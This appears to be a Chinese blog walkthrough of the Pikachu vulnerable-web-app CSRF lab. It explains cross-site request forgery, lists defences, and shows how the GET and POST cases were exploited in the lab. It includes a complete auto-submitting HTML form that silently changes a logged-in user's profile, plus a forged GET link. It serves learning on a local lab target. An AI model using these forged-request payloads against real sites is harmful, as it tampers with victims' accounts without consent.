Pikachu-CSRF(跨站請求偽造)


Pikachu-CSRF(跨站請求偽造)

 

CSRF(跨站請求偽造)概述 Cross-site request forgery 簡稱為“CSRF”,在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了。所以CSRF攻擊也成為"one click"攻擊。 很多人搞不清楚CSRF的概念,甚至有時候會將其和XSS混淆,更有甚者會將其和越權問題混為一談,這都是對原理沒搞清楚導致的。

場景需求:
小黑想要修改大白在購物網站tianxiewww.xx.com上填寫的會員地址。
先看下大白是如何修改自己的密碼的:
登錄---修改會員信息,提交請求---修改成功。
所以小黑想要修改大白的信息,他需要擁有:1,登錄權限 2,修改個人信息的請求。
但是大白又不會把自己xxx網站的賬號密碼告訴小黑,那小黑怎么辦?
於是他自己跑到www.xx.com上注冊了一個自己的賬號,然后修改了一下自己的個人信息(比如:E-mail地址),他發現修改的請求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
於是,他實施了這樣一個操作:把這個鏈接偽裝一下,在小白登錄xxx網站后,欺騙他進行點擊,小白點擊這個鏈接后,個人信息就被修改了,小黑就完成了攻擊目的。
為啥小黑的操作能夠實現呢。有如下幾個關鍵點:
1.www.xxx.com這個網站在用戶修改個人的信息時沒有過多的校驗,導致這個請求容易被偽造;
---因此,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵信息(比如密碼等敏感信息)的操作(增刪改)是否容易被偽造。
2.小白點擊了小黑發給的鏈接,並且這個時候小白剛好登錄在購物網上;
---如果小白安全意識高,不點擊不明鏈接,則攻擊不會成功,又或者即使小白點擊了鏈接,但小白此時並沒有登錄購物網站,也不會成功。
---因此,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。
當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然后小黑順利登錄到小白的后台,小黑自己修改小白的相關信息。
---所以跟上面比一下,就可以看出CSRF與XSS的區別:CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限,而XSS是直接盜取到了用戶的權限,然后實施破壞。 因此,網站如果要防止CSRF攻擊,則需要對敏感信息的操作實施對應的安全措施,防止這些操作出現被偽造的情況,從而導致CSRF。比如:
--對敏感信息的操作增加安全的token;
--對敏感信息的操作增加安全的驗證碼;
--對敏感信息的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。

 

開始今天的實驗。

一、CSRF(get) login

 

 萬事開頭先抓包:

 

 先登錄,賬號有vince/allen/kobe/grady/kevin/lucy/lili,密碼全部是123456

修改一下個人信息看看包長啥樣:

 

 

 

 后台沒做CSRF token,同時也是通過GET請求來提交修改信息,我們拿到這個,修改一下,然后讓allen點擊就好,我們構造的URL中把地址add改為hacker。allen一點擊就修改了地址。

 

 這其實只是直接修改了用戶提交數據以達到篡改的目的。

二、CSRF(post)

眾所周知,post形式的構造是無法在url中體現的。所以只能從請求包中的參數想辦法。

這里直接使用別人寫的script,思路是自己搭一個頁面,誘導用戶點進來,劫持用戶發送修改信息的請求。

 1 <html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://192.168.1.104/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="boy" />
12     <input id="phonenum" type="text" name="phonenum" value="54213" />
13     <input id="add" type="text" name="add" value="hacker" />
14     <input id="email" type="text" name="email" value="allen@pikachu.com" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>

(本人主機ip192.168.1.104,apache也搭在這個上面。正所謂:“我打我自己”)

把這個頁面放在pikachu/doge_csrf上

 

 

 

 點進這個鏈接康康:

 

 神奇的事情發生了!!!

三、CSRF Token

……

反正我沒做出來這個……

然后突然想,試試爆破的方式,繞過token???

然后爆破完了,提交上去,然后,我到底在干什么???

這里提交數據加上了token,每次提交是有一個隨機的token 用於驗證(有點像一次一密?這么耗資源的事情大公司應該都不會這么干)

這里的確是沒法偽造的。

所以我上述干的所有事情在我做完之后,就在想自己到底在干什么,就覺得自己剛才是不是懵*了……我只是單純提交了一次的token 下一次token就換掉了,實質上沒有任何的意義。

下面的過程給各位看官看看,純屬為了博各位一笑。

 

抓個包:

 

本着不行也得上的原則,我決定試試繞過token康康。

首先很高興的是,這個地方是用get方式上傳滴,所以直接修改請求包里面的內容就好了。

 

 

 

 

 

 

 

 修改好請求包的部分以及爆破token。

 

 

 

 

 

 

 

 (就是它!!!)

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM